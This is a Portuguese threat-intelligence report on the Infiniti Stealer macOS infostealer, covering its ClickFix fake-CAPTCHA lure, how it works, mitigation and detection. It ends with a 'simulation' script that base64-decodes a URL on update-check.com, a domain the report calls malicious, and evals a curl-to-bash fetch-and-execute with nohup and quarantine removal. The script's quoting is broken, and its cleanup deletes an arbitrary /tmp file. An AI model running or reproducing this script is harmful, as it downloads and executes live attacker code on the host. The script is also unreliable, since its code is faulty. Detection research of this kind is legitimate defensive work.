Infiniti Stealer: um novo infostealer para macOS usando ClickFix e Python/Nuitka

Resumo

Um novo ladrão de informações do macOS identificado como Infiniti Stealer foi visto usando uma isca de engenharia social ClickFix para infectar usuários. O malware é construído com Nuitka, que converte código Python em um binário Mach-O nativo, tornando a inspeção estática mais difícil. Uma vez executado, ele rouba credenciais, dados do Keychain, arquivos de carteiras de criptomoedas e outras informações sensíveis, e então exfiltra os dados coletados por meio de requisições HTTP POST. A campanha também se baseia em uma página CAPTCHA falsa hospedada em um domínio malicioso para enganar as vítimas a executarem um comando Bash prejudicial.

Investigação

Pesquisadores descobriram a carga maliciosa durante uma caçada rotineira de ameaças e a rastrearam inicialmente sob o nome temporário NukeChain antes que o painel do ator da ameaça expusesse a marca final como Infiniti Stealer. A análise revelou um fluxo de três etapas: um Bash dropper entregue por meio de um CAPTCHA falso, um loader compilado com Nuitka, e um módulo de roubo baseado em Python. O dropper coloca o binário em /tmp, remove o atributo de quarentena e o executa enquanto passa detalhes de C2 por meio de variáveis de ambiente. A etapa final coleta dados de navegadores, Keychain, carteiras e arquivos relacionados a desenvolvedores antes de enviá-los para o servidor controlado pelo atacante.

Mitigação

Os usuários nunca devem copiar e executar comandos de sites desconhecidos, especialmente páginas que fingem verificar desafios CAPTCHA. Os defensores devem inspecionar e remover arquivos suspeitos em /tmp or ~/Library/LaunchAgents, executar uma varredura antimalware confiável e trocar senhas para quaisquer contas potencialmente expostas a partir de um sistema limpo. Quaisquer tokens ativos de API ou chaves SSH que possam ter sido coletados também devem ser revogados.

Resposta

As equipes de detecção devem monitorar o script dropper e o binário compilado com Nuitka observando a criação de arquivos em /tmp que correspondam ao padrão de nomenclatura descrito. Alertas devem ser acionados na execução do comando Bash malicioso e no tráfego HTTP POST de saída para o domínio C2 identificado. O acesso à rede para update-check.com and infiniti-stealer.com deve ser bloqueado. Uma revisão forense baseada no host deve então identificar credenciais roubadas e apoiar redefinições obrigatórias de credenciais.

Execução de Simulação

Pré-requisito: O Check de Pré-voo de Telemetria e Linha de Base deve ter passado.

Narrativa e Comandos de Ataque

Um invasor entrega um link de phishing que, ao ser aberto em uma estação de trabalho macOS, executa a seguinte linha única no Terminal. O comando:

1. Baixa uma URL codificada em base64 (o host da carga) via curl -sSfL.
2. Decodifica a string base64 para revelar a URL HTTPS real.
3. Executa o script baixado com bash.
4. Executa sob nohup para mantê-lo vivo após o terminal ser fechado.
5. Remove o atributo de quarentena (xattr -dr com.apple.quarantine) para evitar o Gatekeeper.

Esses passos produzem os fragmentos exatos de linha de comando que a regra Sigma está monitorando, gerando assim o alerta esperado.

Script de Teste de Regressão

#!/usr/bin/env bash
# ------------------------------------------------------------
# Simulação de infecção por Infiniti Stealer (macOS)
# ------------------------------------------------------------

# 1. Construir a linha única maliciosa (exatamente como a regra espera)
MALICIOUS_CMD="bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))"

# 2. Auxiliares de persistência opcionais (incluídos na detecção)
MALICIOUS_CMD+=" && nohup bash -c "$MALICIOUS_CMD" >/dev/null 2>&1 &"
MALICIOUS_CMD+=" && xattr -dr com.apple.quarantine /Applications/Utilities/Terminal.app"

# 3. Executar o comando
eval "$MALICIOUS_CMD"

# 4. Esperar alguns segundos para permitir a ingestão pelo SIEM
sleep 5

# 5. Saída de um marcador para verificação manual
echo ">>> Simulação executada – monitorar SIEM para alerta <<<"

Comandos de Limpeza

#!/usr/bin/env bash
# ------------------------------------------------------------
# Limpeza após simulação de Infiniti Stealer
# ------------------------------------------------------------

# Encerrar quaisquer processos nohup em segundo plano iniciados pela simulação
pkill -f "bash <(curl -sSfL"

# Remover quaisquer arquivos temporários que possam ter sido criados
rm -f /tmp/$(ls /tmp | grep -E 'tmp|bash|curl' | head -n 1)

# Restaurar atributo de quarentena no Terminal (opcional, por higiene)
xattr -w com.apple.quarantine "0081;5f4a9b2c;Safari;1234567890" /Applications/Utilities/Terminal.app 2>/dev/null || true

echo "Limpeza concluída."

Fim do Relatório